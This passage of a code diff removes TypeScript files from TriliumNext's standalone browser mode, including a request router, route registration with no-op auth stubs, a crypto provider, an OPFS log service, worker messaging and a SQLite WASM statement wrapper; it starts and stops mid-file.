const contentType = headers['content-type'] || headers['Content-Type'] || '';
if (contentType.includes('application/json')) {
try {
const text = new TextDecoder().decode(body);
if (text.trim()) {
parsedBody = JSON.parse(text);
}
} catch (e) {
console.warn('[Router] Failed to parse JSON body:', e);
parsedBody = body;
}
} else if (contentType.includes('multipart/form-data')) {
try {
// Reconstruct a Response so we can use the native FormData parser
const response = new Response(body, { headers: { 'content-type': contentType } });
const formData = await response.formData();
const formFields: Record<string, string> = {};
for (const [key, value] of formData.entries()) {
if (typeof value === 'string') {
formFields[key] = value;
} else {
// File field (Blob) — multer uses the field name "upload"
const fileBuffer = new Uint8Array(await value.arrayBuffer());
uploadedFile = {
originalname: value.name,
mimetype: value.type || 'application/octet-stream',
buffer: fileBuffer
};
}
}
parsedBody = formFields;
} catch (e) {
console.warn('[Router] Failed to parse multipart body:', e);
}
}
}
// Find matching route
for (const route of this.routes) {
if (route.method !== upperMethod) continue;
const match = path.match(route.pattern);
if (!match) continue;
// Extract path parameters
const params: Record<string, string> = {};
for (let i = 0; i < route.paramNames.length; i++) {
params[route.paramNames[i]] = decodeURIComponent(match[i + 1]);
}
const request: BrowserRequest = {
method: upperMethod,
url: urlString,
path,
params,
query,
headers: headers ?? {},
body: parsedBody,
file: uploadedFile
};
try {
const result = await getContext().init(async () => await route.handler(request));
return this.formatResult(result);
} catch (error) {
return this.formatError(error, `Error handling ${method} ${path}`);
}
}
// No route matched
return textResponse(`Not found: ${method} ${path}`, 404);
}
/**
* Format a handler result into a response.
* Follows the same patterns as the server's apiResultHandler.
*/
private formatResult(result: unknown): BrowserResponse {
// Handle raw responses (e.g. from image routes that write directly to res)
if (result && typeof result === 'object' && RAW_RESPONSE in result) {
const raw = result as unknown as { status: number; headers: Record<string, string>; body: unknown };
let body: ArrayBuffer | null = null;
if (raw.body instanceof ArrayBuffer) {
body = raw.body;
} else if (raw.body instanceof Uint8Array) {
body = raw.body.buffer as ArrayBuffer;
} else if (typeof raw.body === 'string') {
body = encoder.encode(raw.body).buffer as ArrayBuffer;
}
return {
status: raw.status,
headers: raw.headers,
body
};
}
// Handle [statusCode, response] format
if (Array.isArray(result) && result.length > 0 && Number.isInteger(result[0])) {
const [statusCode, response] = result;
return jsonResponse(response, statusCode);
}
// Handle undefined (no content) - 204 should have no body
if (result === undefined) {
return {
status: 204,
headers: {},
body: null
};
}
// Default: JSON response with 200
return jsonResponse(result, 200);
}
/**
* Format an error into a response.
*/
private formatError(error: unknown, context: string): BrowserResponse {
console.error('[Router] Handler error:', context, error);
// Check for known error types
if (error && typeof error === 'object') {
const err = error as { constructor?: { name?: string }; message?: string };
if (err.constructor?.name === 'NotFoundError') {
return jsonResponse({ message: err.message || 'Not found' }, 404);
}
if (err.constructor?.name === 'ValidationError') {
return jsonResponse({ message: err.message || 'Validation error' }, 400);
}
}
// Generic error
const message = error instanceof Error ? error.message : String(error);
return jsonResponse({ message }, 500);
}
}
/**
* Create a new router instance.
*/
export function createRouter(): BrowserRouter {
return new BrowserRouter();
}

View File

@@ -1,340 +0,0 @@
/**
* Browser route definitions.
* This integrates with the shared route builder from @triliumnext/core.
*/
import { BootstrapDefinition } from '@triliumnext/commons';
import { entity_changes, getContext, getPlatform, getSharedBootstrapItems, getSql, routes, sql_init } from '@triliumnext/core';
import packageJson from '../../package.json' with { type: 'json' };
import { type BrowserRequest, BrowserRouter } from './browser_router';
/** Minimal response object used by apiResultHandler to capture the processed result. */
interface ResultHandlerResponse {
headers: Record<string, string>;
result: unknown;
setHeader(name: string, value: string): void;
}
/**
* Symbol used to mark a result as an already-formatted BrowserResponse,
* so that BrowserRouter.formatResult passes it through without JSON-serializing.
* Uses Symbol.for() so the same symbol is shared across modules.
*/
const RAW_RESPONSE = Symbol.for('RAW_RESPONSE');
type HttpMethod = 'get' | 'post' | 'put' | 'patch' | 'delete';
/**
* Creates an Express-like request object from a BrowserRequest.
*/
function toExpressLikeReq(req: BrowserRequest) {
return {
params: req.params,
query: req.query,
body: req.body,
headers: req.headers ?? {},
method: req.method,
file: req.file,
get originalUrl() { return req.url; }
};
}
/**
* Extracts context headers from the request and sets them in the execution context,
* mirroring what the server does in route_api.ts.
*/
function setContextFromHeaders(req: BrowserRequest) {
const headers = req.headers ?? {};
const ctx = getContext();
ctx.set("componentId", headers["trilium-component-id"]);
ctx.set("localNowDateTime", headers["trilium-local-now-datetime"]);
ctx.set("hoistedNoteId", headers["trilium-hoisted-note-id"] || "root");
}
/**
* Wraps a core route handler to work with the BrowserRouter.
* Core handlers expect an Express-like request object with params, query, and body.
* Each request is wrapped in an execution context (like cls.init() on the server)
* to ensure entity change tracking works correctly.
*/
function wrapHandler(handler: (req: any) => unknown, transactional: boolean) {
return (req: BrowserRequest) => {
return getContext().init(() => {
setContextFromHeaders(req);
const expressLikeReq = toExpressLikeReq(req);
if (transactional) {
return getSql().transactional(() => handler(expressLikeReq));
}
return handler(expressLikeReq);
});
};
}
/**
* Creates an apiRoute function compatible with buildSharedApiRoutes.
* This bridges the core's route registration to the BrowserRouter.
*/
function createApiRoute(router: BrowserRouter, transactional: boolean) {
return (method: HttpMethod, path: string, handler: (req: any) => unknown) => {
router.register(method, path, wrapHandler(handler, transactional));
};
}
/**
* Low-level route registration matching the server's `route()` signature:
* route(method, path, middleware[], handler, resultHandler)
*
* In standalone mode:
* - Middleware (e.g. checkApiAuth) is skipped — there's no authentication.
* - The resultHandler is applied to post-process the result (entity conversion, status codes).
*/
function createRoute(router: BrowserRouter) {
return (method: HttpMethod, path: string, _middleware: any[], handler: (req: any, res: any) => unknown, resultHandler?: ((req: any, res: any, result: unknown) => unknown) | null) => {
router.register(method, path, (req: BrowserRequest) => {
return getContext().init(() => {
setContextFromHeaders(req);
const expressLikeReq = toExpressLikeReq(req);
const mockRes = createMockExpressResponse();
const result = getSql().transactional(() => handler(expressLikeReq, mockRes));
// If the handler used the mock response (e.g. image routes that call res.send()),
// return it as a raw response so BrowserRouter doesn't JSON-serialize it.
if (mockRes._used) {
return {
[RAW_RESPONSE]: true as const,
status: mockRes._status,
headers: mockRes._headers,
body: mockRes._body
};
}
if (resultHandler) {
// Create a minimal response object that captures what apiResultHandler sets.
const res = createResultHandlerResponse();
resultHandler(expressLikeReq, res, result);
return res.result;
}
return result;
});
});
};
}
/**
* Async variant of createRoute for handlers that return Promises (e.g. import).
* Uses transactionalAsync (manual BEGIN/COMMIT/ROLLBACK) instead of the synchronous
* transactional() wrapper, which would commit an empty transaction immediately when
* passed an async callback.
*/
function createAsyncRoute(router: BrowserRouter) {
return (method: HttpMethod, path: string, _middleware: any[], handler: (req: any, res: any) => Promise<unknown>, resultHandler?: ((req: any, res: any, result: unknown) => unknown) | null) => {
router.register(method, path, (req: BrowserRequest) => {
return getContext().init(async () => {
setContextFromHeaders(req);
const expressLikeReq = toExpressLikeReq(req);
const mockRes = createMockExpressResponse();
const result = await getSql().transactionalAsync(() => handler(expressLikeReq, mockRes));
// If the handler used the mock response (e.g. image routes that call res.send()),
// return it as a raw response so BrowserRouter doesn't JSON-serialize it.
if (mockRes._used) {
return {
[RAW_RESPONSE]: true as const,
status: mockRes._status,
headers: mockRes._headers,
body: mockRes._body
};
}
if (resultHandler) {
// Create a minimal response object that captures what apiResultHandler sets.
const res = createResultHandlerResponse();
resultHandler(expressLikeReq, res, result);
return res.result;
}
return result;
});
});
};
}
/**
* Creates a mock Express response object that captures calls to set(), send(), sendStatus(), etc.
* Used for route handlers (like image routes) that write directly to the response.
*/
function createMockExpressResponse() {
const chunks: string[] = [];
const res = {
_used: false,
_status: 200,
_headers: {} as Record<string, string>,
_body: null as unknown,
set(name: string, value: string) {
res._headers[name] = value;
return res;
},
setHeader(name: string, value: string) {
res._headers[name] = value;
return res;
},
removeHeader(name: string) {
delete res._headers[name];
return res;
},
status(code: number) {
res._status = code;
return res;
},
send(body: unknown) {
res._used = true;
res._body = body;
return res;
},
sendStatus(code: number) {
res._used = true;
res._status = code;
return res;
},
write(chunk: string) {
chunks.push(chunk);
return true;
},
end() {
res._used = true;
res._body = chunks.join("");
return res;
}
};
return res;
}
/**
* Standalone apiResultHandler matching the server's behavior:
* - Converts Becca entities to POJOs
* - Handles [statusCode, response] tuple format
* - Sets trilium-max-entity-change-id (captured in response headers)
*/
function apiResultHandler(_req: any, res: ResultHandlerResponse, result: unknown) {
res.headers["trilium-max-entity-change-id"] = String(entity_changes.getMaxEntityChangeId());
result = routes.convertEntitiesToPojo(result);
if (Array.isArray(result) && result.length > 0 && Number.isInteger(result[0])) {
const [_statusCode, response] = result;
res.result = response;
} else if (result === undefined) {
res.result = "";
} else {
res.result = result;
}
}
/**
* No-op middleware stubs for standalone mode.
*
* In a browser context there is no network authentication, rate limiting,
* or multi-user access, so all auth/rate-limit middleware is a no-op.
*
* `checkAppNotInitialized` still guards setup routes: if the database is
* already initialised the middleware throws so the route handler is never
* reached (mirrors the server behaviour).
*/
function noopMiddleware() {
// No-op.
}
function checkAppNotInitialized() {
if (sql_init.isDbInitialized()) {
throw new Error("App already initialized.");
}
}
/**
* Creates a minimal response-like object for the apiResultHandler.
*/
function createResultHandlerResponse(): ResultHandlerResponse {
return {
headers: {},
result: undefined,
setHeader(name: string, value: string) {
this.headers[name] = value;
}
};
}
/**
* Register all API routes on the browser router using the shared builder.
*
* @param router - The browser router instance
*/
export function registerRoutes(router: BrowserRouter): void {
const apiRoute = createApiRoute(router, true);
routes.buildSharedApiRoutes({
route: createRoute(router),
asyncRoute: createAsyncRoute(router),
apiRoute,
asyncApiRoute: createApiRoute(router, false),
apiResultHandler,
checkApiAuth: noopMiddleware,
checkApiAuthOrElectron: noopMiddleware,
checkAppNotInitialized,
checkCredentials: noopMiddleware,
loginRateLimiter: noopMiddleware,
uploadMiddlewareWithErrorHandling: noopMiddleware,
csrfMiddleware: noopMiddleware
});
apiRoute('get', '/bootstrap', bootstrapRoute);
// Dummy routes for compatibility.
apiRoute("get", "/api/script/widgets", () => []);
apiRoute("get", "/api/script/startup", () => []);
apiRoute("get", "/api/system-checks", () => ({ isCpuArchMismatch: false }));
}
function bootstrapRoute(): BootstrapDefinition {
const assetPath = ".";
const isDbInitialized = sql_init.isDbInitialized();
const commonItems = {
...getSharedBootstrapItems(assetPath, isDbInitialized),
isDev: import.meta.env.DEV,
isStandalone: true,
isMainWindow: true,
isElectron: false,
hasNativeTitleBar: false,
hasBackgroundEffects: false,
triliumVersion: packageJson.version,
device: false as const, // Let the client detect device type.
appPath: assetPath,
instanceName: "standalone",
TRILIUM_SAFE_MODE: !!getPlatform().getEnv("TRILIUM_SAFE_MODE")
};
if (!isDbInitialized) {
return {
...commonItems,
baseApiUrl: "../api/",
isProtectedSessionAvailable: false,
};
}
return {
...commonItems,
csrfToken: "dummy-csrf-token",
baseApiUrl: "../api/",
headingStyle: "plain",
layoutOrientation: "vertical",
platform: "web",
};
}
/**
* Create and configure a router with all routes registered.
*/
export function createConfiguredRouter(): BrowserRouter {
const router = new BrowserRouter();
registerRoutes(router);
return router;
}

View File

@@ -1,77 +0,0 @@
import { ExecutionContext } from "@triliumnext/core";
/**
* Browser execution context implementation.
*
* Handles per-request context isolation with support for fire-and-forget async operations
* using a context stack and grace-period cleanup to allow unawaited promises to complete.
*/
export default class BrowserExecutionContext implements ExecutionContext {
private contextStack: Map<string, any>[] = [];
private cleanupTimers = new WeakMap<Map<string, any>, ReturnType<typeof setTimeout>>();
private readonly CLEANUP_GRACE_PERIOD = 1000; // 1 second for fire-and-forget operations
private getCurrentContext(): Map<string, any> {
if (this.contextStack.length === 0) {
throw new Error("ExecutionContext not initialized");
}
return this.contextStack[this.contextStack.length - 1];
}
get<T = any>(key: string): T {
return this.getCurrentContext().get(key);
}
set(key: string, value: any): void {
this.getCurrentContext().set(key, value);
}
reset(): void {
this.contextStack = [];
}
init<T>(callback: () => T): T {
const context = new Map<string, any>();
this.contextStack.push(context);
// Cancel any pending cleanup timer for this context
const existingTimer = this.cleanupTimers.get(context);
if (existingTimer) {
clearTimeout(existingTimer);
this.cleanupTimers.delete(context);
}
try {
const result = callback();
// If the result is a Promise
if (result && typeof result === 'object' && 'then' in result && 'catch' in result) {
const promise = result as unknown as Promise<any>;
return promise.finally(() => {
this.scheduleContextCleanup(context);
}) as T;
} else {
// For synchronous results, schedule delayed cleanup to allow fire-and-forget operations
this.scheduleContextCleanup(context);
return result;
}
} catch (error) {
// Always clean up on error with grace period
this.scheduleContextCleanup(context);
throw error;
}
}
private scheduleContextCleanup(context: Map<string, any>): void {
const timer = setTimeout(() => {
// Remove from stack if still present
const index = this.contextStack.indexOf(context);
if (index !== -1) {
this.contextStack.splice(index, 1);
}
this.cleanupTimers.delete(context);
}, this.CLEANUP_GRACE_PERIOD);
this.cleanupTimers.set(context, timer);
}
}

View File

@@ -1,175 +0,0 @@
import type { Cipher, CryptoProvider, ScryptOptions } from "@triliumnext/core";
import { binary_utils } from "@triliumnext/core";
import { sha1 } from "js-sha1";
import { sha256 } from "js-sha256";
import { sha512 } from "js-sha512";
import { md5 } from "js-md5";
import { scrypt } from "scrypt-js";
import aesjs from "aes-js";
const CHARS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
/**
* Crypto provider for browser environments using pure JavaScript crypto libraries.
* Uses aes-js for synchronous AES encryption (matching Node.js behavior).
*/
export default class BrowserCryptoProvider implements CryptoProvider {
createHash(algorithm: "md5" | "sha1" | "sha512", content: string | Uint8Array): Uint8Array {
const data = binary_utils.unwrapStringOrBuffer(content);
let hexHash: string;
if (algorithm === "md5") {
hexHash = md5(data);
} else if (algorithm === "sha1") {
hexHash = sha1(data);
} else {
hexHash = sha512(data);
}
// Convert hex string to Uint8Array
const bytes = new Uint8Array(hexHash.length / 2);
for (let i = 0; i < hexHash.length; i += 2) {
bytes[i / 2] = parseInt(hexHash.substr(i, 2), 16);
}
return bytes;
}
createCipheriv(algorithm: "aes-128-cbc", key: Uint8Array, iv: Uint8Array): Cipher {
return new AesJsCipher(algorithm, key, iv, "encrypt");
}
createDecipheriv(algorithm: "aes-128-cbc", key: Uint8Array, iv: Uint8Array): Cipher {
return new AesJsCipher(algorithm, key, iv, "decrypt");
}
randomBytes(size: number): Uint8Array {
const bytes = new Uint8Array(size);
crypto.getRandomValues(bytes);
return bytes;
}
randomString(length: number): string {
const bytes = this.randomBytes(length);
let result = "";
for (let i = 0; i < length; i++) {
result += CHARS[bytes[i] % CHARS.length];
}
return result;
}
hmac(secret: string | Uint8Array, value: string | Uint8Array): string {
const secretStr = binary_utils.unwrapStringOrBuffer(secret);
const valueStr = binary_utils.unwrapStringOrBuffer(value);
// sha256.hmac returns hex, convert to base64 to match Node's behavior
const hexHash = sha256.hmac(secretStr, valueStr);
const bytes = new Uint8Array(hexHash.length / 2);
for (let i = 0; i < hexHash.length; i += 2) {
bytes[i / 2] = parseInt(hexHash.substr(i, 2), 16);
}
return btoa(String.fromCharCode(...bytes));
}
async scrypt(
password: Uint8Array | string,
salt: Uint8Array | string,
keyLength: number,
options: ScryptOptions = {}
): Promise<Uint8Array> {
const { N = 16384, r = 8, p = 1 } = options;
const passwordBytes = binary_utils.wrapStringOrBuffer(password);
const saltBytes = binary_utils.wrapStringOrBuffer(salt);
return scrypt(passwordBytes, saltBytes, N, r, p, keyLength);
}
constantTimeCompare(a: Uint8Array, b: Uint8Array): boolean {
if (a.length !== b.length) {
return false;
}
let result = 0;
for (let i = 0; i < a.length; i++) {
result |= a[i] ^ b[i];
}
return result === 0;
}
}
/**
* A synchronous cipher implementation using aes-js.
* Matches Node.js crypto behavior with update() and final() methods.
*/
class AesJsCipher implements Cipher {
private chunks: Uint8Array[] = [];
private key: Uint8Array;
private iv: Uint8Array;
private mode: "encrypt" | "decrypt";
private finalized = false;
constructor(
_algorithm: "aes-128-cbc",
key: Uint8Array,
iv: Uint8Array,
mode: "encrypt" | "decrypt"
) {
this.key = key;
this.iv = iv;
this.mode = mode;
}
update(data: Uint8Array): Uint8Array {
if (this.finalized) {
throw new Error("Cipher has already been finalized");
}
// Buffer the data - we process everything in final() to match streaming behavior
this.chunks.push(data);
// Return empty array since aes-js CBC doesn't support true streaming
return new Uint8Array(0);
}
final(): Uint8Array {
if (this.finalized) {
throw new Error("Cipher has already been finalized");
}
this.finalized = true;
// Concatenate all chunks
const totalLength = this.chunks.reduce((sum, chunk) => sum + chunk.length, 0);
const data = new Uint8Array(totalLength);
let offset = 0;
for (const chunk of this.chunks) {
data.set(chunk, offset);
offset += chunk.length;
}
if (this.mode === "encrypt") {
// PKCS7 padding for encryption
const blockSize = 16;
const paddingLength = blockSize - (data.length % blockSize);
const paddedData = new Uint8Array(data.length + paddingLength);
paddedData.set(data);
paddedData.fill(paddingLength, data.length);
const aesCbc = new aesjs.ModeOfOperation.cbc(
Array.from(this.key),
Array.from(this.iv)
);
return new Uint8Array(aesCbc.encrypt(paddedData));
} else {
// Decryption
const aesCbc = new aesjs.ModeOfOperation.cbc(
Array.from(this.key),
Array.from(this.iv)
);
const decrypted = new Uint8Array(aesCbc.decrypt(data));
// Remove PKCS7 padding
const paddingLength = decrypted[decrypted.length - 1];
if (paddingLength > 0 && paddingLength <= 16) {
return decrypted.slice(0, decrypted.length - paddingLength);
}
return decrypted;
}
}
}

View File

@@ -1,168 +0,0 @@
import { FileBasedLogService, type LogFileInfo } from "@triliumnext/core";
const LOG_DIR_NAME = "logs";
const LOG_FILE_PATTERN = /^trilium-\d{4}-\d{2}-\d{2}\.log$/;
const DEFAULT_RETENTION_DAYS = 7;
/**
* Standalone log service using OPFS (Origin Private File System).
* Uses synchronous access handles available in service worker context.
*/
export default class StandaloneLogService extends FileBasedLogService {
private logDir: FileSystemDirectoryHandle | null = null;
private currentFile: FileSystemSyncAccessHandle | null = null;
private currentFileName: string = "";
private textEncoder = new TextEncoder();
private textDecoder = new TextDecoder();
constructor() {
super();
}
// ==================== Abstract Method Implementations ====================
protected override get eol(): string {
return "\n";
}
protected override async ensureLogDirectory(): Promise<void> {
const root = await navigator.storage.getDirectory();
this.logDir = await root.getDirectoryHandle(LOG_DIR_NAME, { create: true });
}
protected override async openLogFile(fileName: string): Promise<void> {
if (!this.logDir) {
await this.ensureLogDirectory();
}
// Close existing file if open
if (this.currentFile) {
this.currentFile.close();
this.currentFile = null;
}
const fileHandle = await this.logDir!.getFileHandle(fileName, { create: true });
// Try to create sync access handle with retry logic for worker restarts
// Previous worker may have left handle open before being terminated
const maxRetries = 3;
const retryDelay = 100;
for (let attempt = 0; attempt < maxRetries; attempt++) {
try {
this.currentFile = await fileHandle.createSyncAccessHandle();
break;
} catch (error) {
if (attempt === maxRetries - 1) {
// Last attempt failed - fall back to console-only logging
console.warn("[LogService] Could not open log file, using console-only logging:", error);
this.currentFile = null;
this.currentFileName = "";
return;
}
// Wait before retrying - previous handle may be released
await new Promise(resolve => setTimeout(resolve, retryDelay * (attempt + 1)));
}
}
this.currentFileName = fileName;
// Seek to end for appending
if (this.currentFile) {
const size = this.currentFile.getSize();
this.currentFile.truncate(size); // No-op, but ensures we're at the right position
}
}
protected override closeLogFile(): void {
if (this.currentFile) {
this.currentFile.close();
this.currentFile = null;
this.currentFileName = "";
}
}
protected override writeEntry(entry: string): void {
if (!this.currentFile) {
console.log(entry); // Fallback to console if file not ready
return;
}
const data = this.textEncoder.encode(entry);
const currentSize = this.currentFile.getSize();
this.currentFile.write(data, { at: currentSize });
this.currentFile.flush();
}
protected override readLogFile(fileName: string): string | null {
if (!this.logDir) {
return null;
}
try {
// For the current file, we need to read from the sync handle
if (fileName === this.currentFileName && this.currentFile) {
const size = this.currentFile.getSize();
const buffer = new ArrayBuffer(size);
const view = new DataView(buffer);
this.currentFile.read(view, { at: 0 });
return this.textDecoder.decode(buffer);
}
// For other files, we'd need async access - return null for now
// The current file is what's most commonly needed
return null;
} catch {
return null;
}
}
protected override async listLogFiles(): Promise<LogFileInfo[]> {
if (!this.logDir) {
return [];
}
const logFiles: LogFileInfo[] = [];
for await (const [name, handle] of this.logDir.entries()) {
if (handle.kind !== "file" || !LOG_FILE_PATTERN.test(name)) {
continue;
}
// OPFS doesn't provide mtime directly, so we parse from filename
const match = name.match(/trilium-(\d{4})-(\d{2})-(\d{2})\.log/);
if (match) {
const mtime = new Date(
parseInt(match[1]),
parseInt(match[2]) - 1,
parseInt(match[3])
);
logFiles.push({ name, mtime });
}
}
return logFiles;
}
protected override async deleteLogFile(fileName: string): Promise<void> {
if (!this.logDir) {
return;
}
// Don't delete the current file
if (fileName === this.currentFileName) {
return;
}
try {
await this.logDir.removeEntry(fileName);
} catch {
// File might not exist or be locked
}
}
protected override getRetentionDays(): number {
// Standalone doesn't have config system, use default
return DEFAULT_RETENTION_DAYS;
}
}

View File

@@ -1,120 +0,0 @@
import type { WebSocketMessage } from "@triliumnext/commons";
import type { ClientMessageHandler, MessageHandler,MessagingProvider } from "@triliumnext/core";
/**
* Messaging provider for browser Worker environments.
*
* This provider uses the Worker's postMessage API to communicate
* with the main thread. It's designed to be used inside a Web Worker
* that runs the core services.
*
* Message flow:
* - Outbound (worker → main): Uses self.postMessage() with type: "WS_MESSAGE"
* - Inbound (main → worker): Listens to onmessage for type: "WS_MESSAGE"
*/
export default class WorkerMessagingProvider implements MessagingProvider {
private messageHandlers: MessageHandler[] = [];
private clientMessageHandler?: ClientMessageHandler;
private isDisposed = false;
constructor() {
// Listen for incoming messages from the main thread
self.addEventListener("message", this.handleIncomingMessage);
}
private handleIncomingMessage = (event: MessageEvent) => {
if (this.isDisposed) return;
const { type, message } = event.data || {};
if (type === "WS_MESSAGE" && message) {
// Dispatch to the client message handler (used by ws.ts for log-error, log-info, ping)
if (this.clientMessageHandler) {
try {
this.clientMessageHandler("main-thread", message);
} catch (e) {
console.error("[WorkerMessagingProvider] Error in client message handler:", e);
}
}
// Dispatch to all registered handlers
for (const handler of this.messageHandlers) {
try {
handler(message as WebSocketMessage);
} catch (e) {
console.error("[WorkerMessagingProvider] Error in message handler:", e);
}
}
}
};
/**
* Send a message to all clients (in this case, the main thread).
* The main thread is responsible for further distribution if needed.
*/
sendMessageToAllClients(message: WebSocketMessage): void {
if (this.isDisposed) {
console.warn("[WorkerMessagingProvider] Cannot send message - provider is disposed");
return;
}
try {
self.postMessage({
type: "WS_MESSAGE",
message
});
} catch (e) {
console.error("[WorkerMessagingProvider] Error sending message:", e);
}
}
/**
* Send a message to a specific client.
* In worker context, there's only one client (the main thread), so clientId is ignored.
*/
sendMessageToClient(_clientId: string, message: WebSocketMessage): boolean {
if (this.isDisposed) {
return false;
}
this.sendMessageToAllClients(message);
return true;
}
/**
* Register a handler for incoming client messages.
*/
setClientMessageHandler(handler: ClientMessageHandler): void {
this.clientMessageHandler = handler;
}
/**
* Subscribe to incoming messages from the main thread.
*/
onMessage(handler: MessageHandler): () => void {
this.messageHandlers.push(handler);
return () => {
this.messageHandlers = this.messageHandlers.filter(h => h !== handler);
};
}
/**
* Get the number of connected "clients".
* In worker context, there's always exactly 1 client (the main thread).
*/
getClientCount(): number {
return this.isDisposed ? 0 : 1;
}
/**
* Clean up resources.
*/
dispose(): void {
if (this.isDisposed) return;
this.isDisposed = true;
self.removeEventListener("message", this.handleIncomingMessage);
this.messageHandlers = [];
}
}

View File

@@ -1,42 +0,0 @@
import type { PlatformProvider } from "@triliumnext/core";
// Build-time constant injected by Vite (see `define` in vite.config.mts).
declare const __TRILIUM_INTEGRATION_TEST__: string;
/** Maps URL query parameter names to TRILIUM_ environment variable names. */
const QUERY_TO_ENV: Record<string, string> = {
"safeMode": "TRILIUM_SAFE_MODE",
"startNoteId": "TRILIUM_START_NOTE_ID",
};
export default class StandalonePlatformProvider implements PlatformProvider {
readonly isElectron = false;
readonly isMac = false;
readonly isWindows = false;
private envMap: Record<string, string> = {};
constructor(queryString: string) {
const params = new URLSearchParams(queryString);
for (const [queryKey, envKey] of Object.entries(QUERY_TO_ENV)) {
if (params.has(queryKey)) {
this.envMap[envKey] = params.get(queryKey) || "true";
}
}
if (__TRILIUM_INTEGRATION_TEST__) {
this.envMap["TRILIUM_INTEGRATION_TEST"] = __TRILIUM_INTEGRATION_TEST__;
}
}
crash(message: string): void {
console.error("[Standalone] FATAL:", message);
self.postMessage({
type: "FATAL_ERROR",
message
});
}
getEnv(key: string): string | undefined {
return this.envMap[key];
}
}

View File

@@ -1,93 +0,0 @@
import type { ExecOpts, RequestProvider } from "@triliumnext/core";
/**
* Fetch-based implementation of RequestProvider for browser environments.
*
* Uses the Fetch API instead of Node's http/https modules.
* Proxy support is not available in browsers, so the proxy option is ignored.
*/
export default class FetchRequestProvider implements RequestProvider {
async exec<T>(opts: ExecOpts): Promise<T> {
const paging = opts.paging || {
pageCount: 1,
pageIndex: 0,
requestId: "n/a"
};
const headers: Record<string, string> = {
"Content-Type": paging.pageCount === 1 ? "application/json" : "text/plain",
"pageCount": String(paging.pageCount),
"pageIndex": String(paging.pageIndex),
"requestId": paging.requestId
};
// Note: the Cookie header is a forbidden header in fetch —
// the browser manages cookies automatically via credentials: 'include'.
if (opts.auth?.password) {
headers["trilium-cred"] = btoa(`dummy:${opts.auth.password}`);
}
let body: string | undefined;
if (opts.body) {
body = typeof opts.body === "object" ? JSON.stringify(opts.body) : opts.body;
}
const controller = new AbortController();
const timeoutId = opts.timeout
? setTimeout(() => controller.abort(), opts.timeout)
: undefined;
try {
const response = await fetch(opts.url, {
method: opts.method,
headers,
body,
signal: controller.signal,
credentials: "include"
});
if ([200, 201, 204].includes(response.status)) {
const text = await response.text();
return text.trim() ? JSON.parse(text) : null;
}
const text = await response.text();
let errorMessage: string;
try {
const json = JSON.parse(text);
errorMessage = json?.message || "";
} catch {
errorMessage = text.substring(0, 100);
}
throw new Error(`${response.status} ${opts.method} ${opts.url}: ${errorMessage}`);
} catch (e: any) {
if (e.name === "AbortError") {
throw new Error(`${opts.method} ${opts.url} failed, error: timeout after ${opts.timeout}ms`);
}
if (e instanceof TypeError && e.message === "Failed to fetch") {
const isCrossOrigin = !opts.url.startsWith(location.origin);
if (isCrossOrigin) {
throw new Error(`Request to ${opts.url} was blocked. The server may not allow requests from this origin (CORS), or it may be unreachable.`);
}
throw new Error(`Request to ${opts.url} failed. The server may be unreachable.`);
}
throw e;
} finally {
if (timeoutId) {
clearTimeout(timeoutId);
}
}
}
async getImage(imageUrl: string): Promise<ArrayBuffer> {
const response = await fetch(imageUrl);
if (!response.ok) {
throw new Error(`${response.status} GET ${imageUrl} failed`);
}
return await response.arrayBuffer();
}
}

View File

@@ -1,742 +0,0 @@
import { type BindableValue, type SAHPoolUtil, default as sqlite3InitModule } from "@sqlite.org/sqlite-wasm";
import type { DatabaseProvider, RunResult, Statement, Transaction } from "@triliumnext/core";
// Type definitions for SQLite WASM (the library doesn't export these directly)
type Sqlite3Module = Awaited<ReturnType<typeof sqlite3InitModule>>;
type Sqlite3Database = InstanceType<Sqlite3Module["oo1"]["DB"]>;
type Sqlite3PreparedStatement = ReturnType<Sqlite3Database["prepare"]>;
/**
* Wraps an SQLite WASM PreparedStatement to match the Statement interface
* expected by trilium-core.
*/
class WasmStatement implements Statement {
private isRawMode = false;
private isPluckMode = false;
private isFinalized = false;
constructor(
private stmt: Sqlite3PreparedStatement,
private db: Sqlite3Database,
private sqlite3: Sqlite3Module,
private sql: string
) {}
run(...params: unknown[]): RunResult {
if (this.isFinalized) {
throw new Error("Cannot call run() on finalized statement");
}
this.bindParams(params);
try {
// Use step() and then reset instead of stepFinalize()
// This allows the statement to be reused
this.stmt.step();
const changes = this.db.changes();
// Get the last insert row ID using the C API
const lastInsertRowid = this.db.pointer ? this.sqlite3.capi.sqlite3_last_insert_rowid(this.db.pointer) : 0;
this.stmt.reset();
return {
changes,
lastInsertRowid: typeof lastInsertRowid === "bigint" ? Number(lastInsertRowid) : lastInsertRowid
};
} catch (e) {
// Reset on error to allow reuse
this.stmt.reset();
throw e;
}
}
get(params: unknown): unknown {
if (this.isFinalized) {
throw new Error("Cannot call get() on finalized statement");
}
this.bindParams(Array.isArray(params) ? params : params !== undefined ? [params] : []);
try {
if (this.stmt.step()) {
if (this.isPluckMode) {
// In pluck mode, return only the first column value
const row = this.stmt.get([]);
return Array.isArray(row) && row.length > 0 ? row[0] : undefined;
}
return this.isRawMode ? this.stmt.get([]) : this.stmt.get({});
}
return undefined;
} finally {
this.stmt.reset();
}
}
all(...params: unknown[]): unknown[] {
if (this.isFinalized) {
throw new Error("Cannot call all() on finalized statement");
}
this.bindParams(params);
const results: unknown[] = [];
try {
while (this.stmt.step()) {
if (this.isPluckMode) {
// In pluck mode, return only the first column value for each row
const row = this.stmt.get([]);
if (Array.isArray(row) && row.length > 0) {
results.push(row[0]);
}
} else {
results.push(this.isRawMode ? this.stmt.get([]) : this.stmt.get({}));
}
}
return results;
} finally {
this.stmt.reset();
}
}
iterate(...params: unknown[]): IterableIterator<unknown> {
if (this.isFinalized) {
throw new Error("Cannot call iterate() on finalized statement");
}
this.bindParams(params);
const stmt = this.stmt;
const isRaw = this.isRawMode;
const isPluck = this.isPluckMode;
return {
[Symbol.iterator]() {
return this;
},
next(): IteratorResult<unknown> {
if (stmt.step()) {
if (isPluck) {
const row = stmt.get([]);
const value = Array.isArray(row) && row.length > 0 ? row[0] : undefined;
return { value, done: false };
}
return { value: isRaw ? stmt.get([]) : stmt.get({}), done: false };
}
stmt.reset();
return { value: undefined, done: true };
}
};
}
raw(toggleState?: boolean): this {
// In raw mode, rows are returned as arrays instead of objects
// If toggleState is undefined, enable raw mode (better-sqlite3 behavior)
this.isRawMode = toggleState !== undefined ? toggleState : true;
return this;
}
pluck(toggleState?: boolean): this {
// In pluck mode, only the first column of each row is returned
